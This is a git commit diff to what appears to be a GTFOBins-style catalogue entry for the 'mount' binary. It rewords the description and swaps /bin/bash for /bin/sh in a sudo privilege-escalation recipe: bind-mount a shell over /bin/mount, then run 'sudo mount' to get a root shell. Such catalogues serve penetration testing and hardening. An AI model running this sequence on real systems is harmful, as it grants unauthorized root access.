Improve mount

This commit is contained in:
Andrea Cardaci 2018-07-16 13:47:09 +02:00
parent e50f44521e
commit a00f689760

View File

@ -1,8 +1,8 @@
---
functions:
sudo-enabled:
- description: bind mount bash to the mount binary, as mount is sudo enabled.
- description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.
code: |
sudo mount -o bind /bin/bash /bin/mount
sudo mount -o bind /bin/sh /bin/mount
sudo mount
---